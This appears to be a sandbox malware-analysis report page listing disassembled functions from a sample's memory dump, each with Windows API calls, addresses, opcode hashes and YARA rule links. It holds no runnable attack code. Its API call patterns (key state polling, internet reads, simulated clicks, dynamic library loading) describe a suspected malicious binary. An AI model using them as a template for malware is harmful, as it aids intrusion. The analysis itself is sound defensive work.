VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00AC8D3B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 0e89b09b4a226a3b4adfb1893536732a7f7fe2875f8ff06f7d276a01714a7e35
Instruction ID: 44c82514de0552edf7eeb777ce7ac6a4c6c12f91f98026b80823c3bb0b0ec4f1
Opcode Fuzzy Hash: 0e89b09b4a226a3b4adfb1893536732a7f7fe2875f8ff06f7d276a01714a7e35
Instruction Fuzzy Hash: 8A5169B5A00219EFCB10CF68D884EAAB7F8FF89310B168559E906DB350E734E911CB90

Function 00AD8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00AD8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00AD8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00AD8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00AD8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00AD8C5F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: cf5db4cbcc3b442976643ffbbb8f4dabefa7907b30f9f54aee243a0caa4b8d7c
Instruction ID: a43cbf3e84b8c136f92d2ab58df5587ef8537e0a04fdb01d1b5ad5b03291eafc
Opcode Fuzzy Hash: cf5db4cbcc3b442976643ffbbb8f4dabefa7907b30f9f54aee243a0caa4b8d7c
Instruction Fuzzy Hash: 6F515C35A10218DFCB04DF65C980AADBBF5FF48314F088499E84AAB362DB35ED51CB90

Function 00AE8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00AE8F40
GetProcAddress.KERNEL32(00000000,?), ref: 00AE8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00AE8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00AE9032
FreeLibrary.KERNEL32(00000000), ref: 00AE9052

Part of subcall function 00A7F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00AD1043,?,7529E610), ref: 00A7F6E6
Part of subcall function 00A7F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00ABFA64,00000000,00000000,?,?,00AD1043,?,7529E610,?,00ABFA64), ref: 00A7F70D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: f73f3ba71a8dac3d4be7bf1527f18870d9ce9a0a72edcca5e3432cb2dd04dbc2
Instruction ID: 1ad198f0fba7e568505bd748c81a02568cceb5645fc0d6f08ca1402334289f74
Opcode Fuzzy Hash: f73f3ba71a8dac3d4be7bf1527f18870d9ce9a0a72edcca5e3432cb2dd04dbc2
Instruction Fuzzy Hash: 56514C35600245DFC711DF99C5948AEBBF1FF49324B0480A9E80AAB762DB31ED86CF91

Function 00AF6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00AF6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00AF6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00AF6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00ADAB79,00000000,00000000), ref: 00AF6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00AF6CC7

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 477d800b49db71551aad999d58c8ad25ba42922ded54f3beeb144e3e44f54e12
Instruction ID: 5759e881925adf76237967f56865120bf839abcc5b1e196ca6c34c9812415131
Opcode Fuzzy Hash: 477d800b49db71551aad999d58c8ad25ba42922ded54f3beeb144e3e44f54e12
Instruction Fuzzy Hash: 0E41AF35A04108AFDB24CFA9CD58FB97BA5EB09360F150228FA95E72A1C771AD42CA40

Function 00A92051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A920C3
_free.LIBCMT ref: 00A920E3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a64a9fc4ea20f3ca1b7089498e98741da23f56c7ff08890ab567dc1a058aac4b
Instruction ID: d5c6595daba073fa3b0525ee18c38ce28336d4f2c14edb95fd51763502962950
Opcode Fuzzy Hash: a64a9fc4ea20f3ca1b7089498e98741da23f56c7ff08890ab567dc1a058aac4b
Instruction Fuzzy Hash: 5541A132B00200AFCF24DF78C981B5EB7F5EF89314B258569E515EB351DA31AD01CB81

Function 00A7912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00A79141
ScreenToClient.USER32(00000000,?), ref: 00A7915E
GetAsyncKeyState.USER32(00000001), ref: 00A79183
GetAsyncKeyState.USER32(00000002), ref: 00A7919D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 08f01cbe8e37d8fd4a71ebb497e98b06c08e2a6dfdb4c56f0efe39273b9641d1
Instruction ID: dbf7a188356b202ed04b989c671e0a5c8859dac52240fa313810b0bf8fe365d9
Opcode Fuzzy Hash: 08f01cbe8e37d8fd4a71ebb497e98b06c08e2a6dfdb4c56f0efe39273b9641d1
Instruction Fuzzy Hash: 1041707190850ABBDF05DFA8DC44BFEB774FB45320F208316E429A72A1C7745954CB61

Function 00AD3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00AD38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00AD3922
TranslateMessage.USER32(?), ref: 00AD394B
DispatchMessageW.USER32(?), ref: 00AD3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AD3966

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 86d78fd807f674d6ce3e7ffe6763caa3d39f32ab39555886157cd5de5bcbf345
Instruction ID: 765c1f2e4c1d528283ac42d1c204d305d36d39397f7d30ecf8b88a7bfcfe5202
Opcode Fuzzy Hash: 86d78fd807f674d6ce3e7ffe6763caa3d39f32ab39555886157cd5de5bcbf345
Instruction Fuzzy Hash: 5531D772504345AEEF35CB759878BBA37A8AB05300F14496BE463832A0E7F49685DB22

Function 00ADCF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00ADC21E,00000000), ref: 00ADCF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00ADCF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00ADC21E,00000000), ref: 00ADCFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00ADC21E,00000000), ref: 00ADCFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00ADC21E,00000000), ref: 00ADCFF2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 58aa633e16875b32a8b752fb7abf0df21d6412cb2785edfb744911ffc00398e5
Instruction ID: 97e07a40a61020c2e7b76455445180ac737e08148e5f2a29eafcc24f9501bd25
Opcode Fuzzy Hash: 58aa633e16875b32a8b752fb7abf0df21d6412cb2785edfb744911ffc00398e5
Instruction Fuzzy Hash: 45312C7150430AAFDB20DFE5C984AEBBBF9EB18365B50842EF517D2251DB30AE41DB60

Function 00AC1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00AC1915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00AC19C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00AC19C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00AC19DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00AC19E2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 5d6f5a3b39427c66309d92b7cea8fa5cfad1bafdae00f07c877d109cb03737ce
Instruction ID: 794b1136ce46f9a609014ab42ec7b106f6896c1a1f2f5b8103bce5abfc14fbc6
Opcode Fuzzy Hash: 5d6f5a3b39427c66309d92b7cea8fa5cfad1bafdae00f07c877d109cb03737ce
Instruction Fuzzy Hash: E231AD71A00219EFCB10CFA8CD99BEE7BB5EB06325F114229F921A72D2C7709954CB90

Function 00AF5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00AF5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00AF579D
_wcslen.LIBCMT ref: 00AF57AF
_wcslen.LIBCMT ref: 00AF57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00AF5816

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 671f9c20c82060c4f9b87d3c2d2ff00541a205133bd6daa411a623d402c01617
Instruction ID: 7a711314278cf3aec4b4f50bba8194bfd28cd5bd89595e5a4d04b85a8d54b04f
Opcode Fuzzy Hash: 671f9c20c82060c4f9b87d3c2d2ff00541a205133bd6daa411a623d402c01617
Instruction Fuzzy Hash: 0C214A71D0461C9ADB209FE4CC85AFEBBB8EB04725F108616FB29EA180D7748985CF50

Function 00AE0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00AE0951
GetForegroundWindow.USER32 ref: 00AE0968
GetDC.USER32(00000000), ref: 00AE09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00AE09B0
ReleaseDC.USER32(00000000,00000003), ref: 00AE09E8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 2a2062016c4f07a547ada0ce372196e8df2e263e56955a8a8890718f609efc15
Instruction ID: b830e951b4ad49ac9f2733973178f84013765732f4bbf6e7033728c64049146c
Opcode Fuzzy Hash: 2a2062016c4f07a547ada0ce372196e8df2e263e56955a8a8890718f609efc15
Instruction Fuzzy Hash: E2219335600204AFD714EFA6DA88EAEBBF5EF44710F048469F85AD7362DB70AC45CB50

Function 00A9CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A9CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A9CDE9

Part of subcall function 00A93820: RtlAllocateHeap.NTDLL(00000000,?,00B31444,?,00A7FDF5,?,?,00A6A976,00000010,00B31440,00A613FC,?,00A613C6,?,00A61129), ref: 00A93852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00A9CE0F
_free.LIBCMT ref: 00A9CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A9CE31

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: f813c526dcd7ea46a3f8be9af0fb3f457c344f13dcdd3bc01b0e6a7c1a32b9cb
Instruction ID: 4738e132f9fa7e10a930715e9937bca2ef12147462494657a1b061b19826d19a
Opcode Fuzzy Hash: f813c526dcd7ea46a3f8be9af0fb3f457c344f13dcdd3bc01b0e6a7c1a32b9cb
Instruction Fuzzy Hash: 1B01D472701A157FAB2157F76D88D7BB9ADDEC6BB13150229F906C7200EA608E02C2B0

Function 00A7990F Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00A798CC
SetTextColor.GDI32(?,?), ref: 00A798D6
SetBkMode.GDI32(?,00000001), ref: 00A798E9
GetStockObject.GDI32(00000005), ref: 00A798F1
GetWindowLongW.USER32(?,000000EB), ref: 00A79952

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Color$LongModeObjectStockTextWindow
String ID:
API String ID: 1860813098-0
Opcode ID: 356c6978a455e29fde6bbdd469a89ea121febc8a780bb4c6bab996e44cef6ac5
Instruction ID: f3fcf9fe985d63aa633a3f0212203a83c28e63fc687058dfb53ce18d48c66f07
Opcode Fuzzy Hash: 356c6978a455e29fde6bbdd469a89ea121febc8a780bb4c6bab996e44cef6ac5
Instruction Fuzzy Hash: A621273218A2549FC712CFA5EC59BBB7B74EF13321718859BF5468B1B2CB214852CB51

Function 00A79639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00A79693
SelectObject.GDI32(?,00000000), ref: 00A796A2
BeginPath.GDI32(?), ref: 00A796B9
SelectObject.GDI32(?,00000000), ref: 00A796E2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: b52986b6744ccb58883c4cf40ee30549cc31bd8ea14946a01e4f258344222518
Instruction ID: e358767b6af95c4871a2a66631efe3e640813cb2a50ceb9432eed98b02226166
Opcode Fuzzy Hash: b52986b6744ccb58883c4cf40ee30549cc31bd8ea14946a01e4f258344222518
Instruction Fuzzy Hash: 11217F31802305EBDB11DFA9DD14BAE3BBCBB40725F208716F414A71A0DB709892CBA4

Function 00AC5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00AC5726
_memcmp.LIBVCRUNTIME ref: 00AC5744
_memcmp.LIBVCRUNTIME ref: 00AC5757
_memcmp.LIBVCRUNTIME ref: 00AC576F
_memcmp.LIBVCRUNTIME ref: 00AC5787

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: b43e428634f96801d6f223d1a8687e768a38cf82bdcd379e125b0cfed08bb6d4
Instruction ID: 346963b74331e06f172c66029f6e5c28ced3ecd2079f4826582d1f4448bcc593
Opcode Fuzzy Hash: b43e428634f96801d6f223d1a8687e768a38cf82bdcd379e125b0cfed08bb6d4
Instruction Fuzzy Hash: 9201B576A41619BFD2186624DE82FBB735CEF21394F014828FE04AE241F760FDD183A4

Function 00A92DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00A8F2DE,00A93863,00B31444,?,00A7FDF5,?,?,00A6A976,00000010,00B31440,00A613FC,?,00A613C6), ref: 00A92DFD
_free.LIBCMT ref: 00A92E32
_free.LIBCMT ref: 00A92E59
SetLastError.KERNEL32(00000000,00A61129), ref: 00A92E66
SetLastError.KERNEL32(00000000,00A61129), ref: 00A92E6F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 86e4074287cd4bcfeee4acbb894f6e769b7101d915bbb9a12a0bf7a9eddcd0c7
Instruction ID: 758271cf4c4ed6003ebb867fe9af102d411f1e64728ebc6915792b0279d49e6b
Opcode Fuzzy Hash: 86e4074287cd4bcfeee4acbb894f6e769b7101d915bbb9a12a0bf7a9eddcd0c7
Instruction Fuzzy Hash: EA01F9327056007BCE22A7B56DC6F2B2DEDAFD13F5B250124F415A2192EE648C024360

Function 00AC000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?,?,00AC035E), ref: 00AC002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?), ref: 00AC0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?), ref: 00AC0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?), ref: 00AC0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?), ref: 00AC0070

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c28f6d98c56e81f4936e4bd1374ecdb8879f56878b861eda9b3b64471c48727d
Instruction ID: 5d6094e2d0768fbf6c8c4b7b2256d958f655befcf511623b3ba2772fa0207b53
Opcode Fuzzy Hash: c28f6d98c56e81f4936e4bd1374ecdb8879f56878b861eda9b3b64471c48727d
Instruction Fuzzy Hash: 09018B76600208FFDB208FAADD04FAA7AADEB447A2F164128F905D6210E771DD41CBA0

